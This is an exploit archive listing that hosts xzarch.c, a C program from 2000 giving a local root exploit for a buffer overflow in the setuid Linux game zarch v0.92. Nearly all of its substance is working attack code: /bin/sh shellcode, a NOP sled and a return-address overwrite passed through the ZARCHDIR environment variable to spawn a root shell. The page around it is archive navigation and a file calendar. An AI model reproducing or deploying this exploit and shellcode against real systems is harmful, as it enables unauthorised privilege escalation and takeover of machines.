never stop questioning

xzarch.c

xzarch.c
Posted Oct 21, 2000
Authored by vade79, realhalo | Site realhalo.org

Linux /usr/games/zarch v.92 local root buffer overflow exploit.

tags | exploit, overflow, local, root
systems | linux
MD5 | e4b8a65eb01c952a88aa9f45824a4c9e

xzarch.c

Change Mirror Download
/* (linux)zarch[v0.92] buffer overflow, by v9[v9@fakehalo.org].  this is a misc.
exploit for the linux-SVGAlib zarch game based on "virus". which, is setuid
root. i used an old perl script i made to find this, since i don't know if
the source to this is public. (getenv.pl, binary scanner.)

note: this was built for the static binary version. (zarch v0.92) */

#define PATH "/usr/games/zarch" // pathname, which probably needs changing.
#define BUFFER_SIZE 264 // don't change this.
#define DEFAULT_OFFSET 200 // offset that worked for me.
static char exec[]=
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
"\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
"\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char bof[BUFFER_SIZE];
int i,offset;
long ret;
if(argc>1){offset=atoi(argv[1]);}
else{offset=DEFAULT_OFFSET;}
ret=(esp()-offset);
printf("*** (linux)zarch[v0.92] local buffer overflow, by: v9[v9@fakehalo.org]"
".\n");
printf("*** return address: 0x%lx, offset: %d.\n",ret,offset);
printf("*** note: you may need to press enter to see the shell prompt.\n\n");
for(i=0;i<(260-strlen(exec));i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
*(long *)&bof[i+strlen(exec)]=ret;
bof[BUFFER_SIZE]=0;
setenv("ZARCHDIR",bof,1);
if(execlp(PATH,"zarch",0)){
printf("error: program execution failed, check the pathname.\n");
exit(0);
}
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close